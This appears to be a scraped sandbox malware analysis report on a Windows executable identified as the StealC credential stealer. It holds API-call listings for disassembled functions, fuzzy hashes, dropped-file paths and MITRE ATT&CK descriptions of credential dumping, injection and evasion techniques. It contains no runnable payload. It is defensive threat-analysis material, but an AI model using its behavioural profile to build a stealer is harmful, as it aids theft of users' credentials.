Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]`l
API String ID: 1595327144-4291656726
Opcode ID: 2f1114f3ee89942d9eee2d076ff7bf60b94c06d23b54ca60dd028aa622b12674
Instruction ID: 8313b7440be315b0c3937df5646063d59572e3012cc64eeda6931a05164ea228
Opcode Fuzzy Hash: 2f1114f3ee89942d9eee2d076ff7bf60b94c06d23b54ca60dd028aa622b12674
Instruction Fuzzy Hash: CD018FB5600200DFDB00CF19ECC0B5677A8EF44719F188068E8498FB06E731EC08CBA5

Function 6C602460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C6A7379,00000002,?), ref: 6C602493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6024B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C6A7379,00000002,?), ref: 6C6024EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C6A7379,00000002,?), ref: 6C6024F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C6A7379,00000002,?), ref: 6C6024FE

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: 2444ee5a71434cc127d0e69a0172611acc8974c177a3c768bdab1e1c0df846d6
Instruction ID: cb153412676e9052a79ea48fd2d7333b9b3d65b14cc37f29c137c2a7892551bc
Opcode Fuzzy Hash: 2444ee5a71434cc127d0e69a0172611acc8974c177a3c768bdab1e1c0df846d6
Instruction Fuzzy Hash: 193134B0B00115AFEB048FA5CD45BBF77A4EF48308F104125FD15A6A80E734D864C7E9

Function 6C63CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C63CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C63CC7B), ref: 6C63CD7A
Part of subcall function 6C63CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C63CD8E
Part of subcall function 6C63CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C63CDA5
Part of subcall function 6C63CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C63CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C63CCB5
memcpy.VCRUNTIME140(6C6D14F4,6C6D02AC,00000090), ref: 6C63CCD3
memcpy.VCRUNTIME140(6C6D1588,6C6D02AC,00000090), ref: 6C63CD2B

Part of subcall function 6C559AC0: socket.WSOCK32(?,00000017,6C5599BE), ref: 6C559AE6
Part of subcall function 6C559AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5599BE), ref: 6C559AFC

Part of subcall function 6C560590: closesocket.WSOCK32(6C559A8F,?,?,6C559A8F,00000000), ref: 6C560597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C63CCB0

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: d625b827ee0c9a9987cc5abeff31ab3b87e88b2068e310c7ad829ee523de1288
Instruction ID: dc65fa9316621600009943f8b6303b52ee7a52c642dd451a1f0a92b76d8f5e35
Opcode Fuzzy Hash: d625b827ee0c9a9987cc5abeff31ab3b87e88b2068e310c7ad829ee523de1288
Instruction Fuzzy Hash: 251184F5B112509EDB009F5B9C867423BF89786728F142129F51ACBB41E7B5E4048BED

Function 6C5C0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C5AC97F,?,?,?), ref: 6C5C04BF
TlsGetValue.KERNEL32(00000000,?,6C5AC97F,?,?,?), ref: 6C5C04F4
EnterCriticalSection.KERNEL32(?,?,?,6C5AC97F,?,?,?), ref: 6C5C050D
PR_Unlock.NSS3(?,?,?,?,6C5AC97F,?,?,?), ref: 6C5C0556

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 7bd97de7ea0e54c0cc3ac31108c77f3c2f7e42ef4448a841c7cd4280d9bd92d9
Instruction ID: 6cdc5b034560a6f638e6dac8ab5a26b57c067d39d17b454c06fd2a1f6a626eb5
Opcode Fuzzy Hash: 7bd97de7ea0e54c0cc3ac31108c77f3c2f7e42ef4448a841c7cd4280d9bd92d9
Instruction Fuzzy Hash: FA414EB4A05642DFDB04DF69C880669BBF4FF84318F15856ED8998BB12E730E991CB81

Function 6C576C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C576C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C576CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C576CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C698FE0), ref: 6C576CFE

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 822f3bf0e1017344238f83dfba94a123af8b65d55f661ecc9cd5eef80b6f6318
Instruction ID: 95c3e251a029497b2047f0073e7361a9cd0dbfbef55a7afeda2029abfc6a9979
Opcode Fuzzy Hash: 822f3bf0e1017344238f83dfba94a123af8b65d55f661ecc9cd5eef80b6f6318
Instruction Fuzzy Hash: C431A0B1A002169FDB18DF65CC81ABFBBF9EF89248B10442DD905E7700EB319945CBB0

Function 6C61AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C605F17,?,?,?,?,?,?,?,?,6C60AAD4), ref: 6C61AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C605F17,?,?,?,?,?,?,?,?,6C60AAD4), ref: 6C61ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C60AAD4), ref: 6C61ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C60AAD4), ref: 6C61ACDB

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 1c5ae82f574ffb5e458c79588224719adf5571cee6404a76c3723ec3432e82c7
Instruction ID: ae2f1f54aae2fa9e160173f42471fc31609e6f15f2659e4e005c3ebff84c252b
Opcode Fuzzy Hash: 1c5ae82f574ffb5e458c79588224719adf5571cee6404a76c3723ec3432e82c7
Instruction Fuzzy Hash: 12019EB1601B019BEB10DF2AD908753B7E8BF0079AB004839D85AC3E11E732F519CB94

Function 6C600450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C604710,?,000F4240,00000000), ref: 6C60046B
GetLastError.KERNEL32(?,6C604710,?,000F4240,00000000), ref: 6C600479

Part of subcall function 6C61BF80: TlsGetValue.KERNEL32(00000000,?,6C60461B,-00000004), ref: 6C61C244

PR_Unlock.NSS3(40C70845,?,6C604710,?,000F4240,00000000), ref: 6C600492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C604710,?,000F4240,00000000), ref: 6C6004A5

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: a0ac3744cef57b15b145396c58f609586eb575128350d2c4a98e30cba7af4ebe
Instruction ID: 431d3b2f61ac9c4da1bd8bd7cd25575f378e9982aaa80b48cbfdc32d24dd0164
Opcode Fuzzy Hash: a0ac3744cef57b15b145396c58f609586eb575128350d2c4a98e30cba7af4ebe
Instruction Fuzzy Hash: B2F0B4B4B14245EBEB08AE799E58B5A32A99F0230EF148434E80AD7E50EA25E544865D

Function 6C68CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C68CC61
free.MOZGLUE ref: 6C68CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C68CC80
free.MOZGLUE(?), ref: 6C68CC87

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 0865be4703c481558183fa4001e8402426ac521b63b7ca4b4659028e0516427b
Instruction ID: 5f37c878d72f99b54f12decacdfd3ac79ff12fc251ba329e747c93047b7915aa
Opcode Fuzzy Hash: 0865be4703c481558183fa4001e8402426ac521b63b7ca4b4659028e0516427b
Instruction Fuzzy Hash: 6DE06576700609AFCB10EFA9DC88C8777BCEE492707150525E692C3700D232F905CBE5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report glpEv3POe7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKFHDAK

C:\ProgramData\DGIJECGD

C:\ProgramData\DGIJECGDGCBKECAKFBGCAKECGI

C:\ProgramData\EGIIIECBGDHJJKFIDAKJ

C:\ProgramData\GIEHIDHJDBFIIECAKECB

C:\ProgramData\IDBFHJDAAFBAKEBGIJKK

C:\ProgramData\IEHIIIJDAAAAAAKECBFBAEBKJJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
glpEv3POe7.exe

Function 005A6710 Relevance: 210.7, APIs: 115, Strings: 5, Instructions: 696
libraryloaderCOMMON

Function 00584980 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre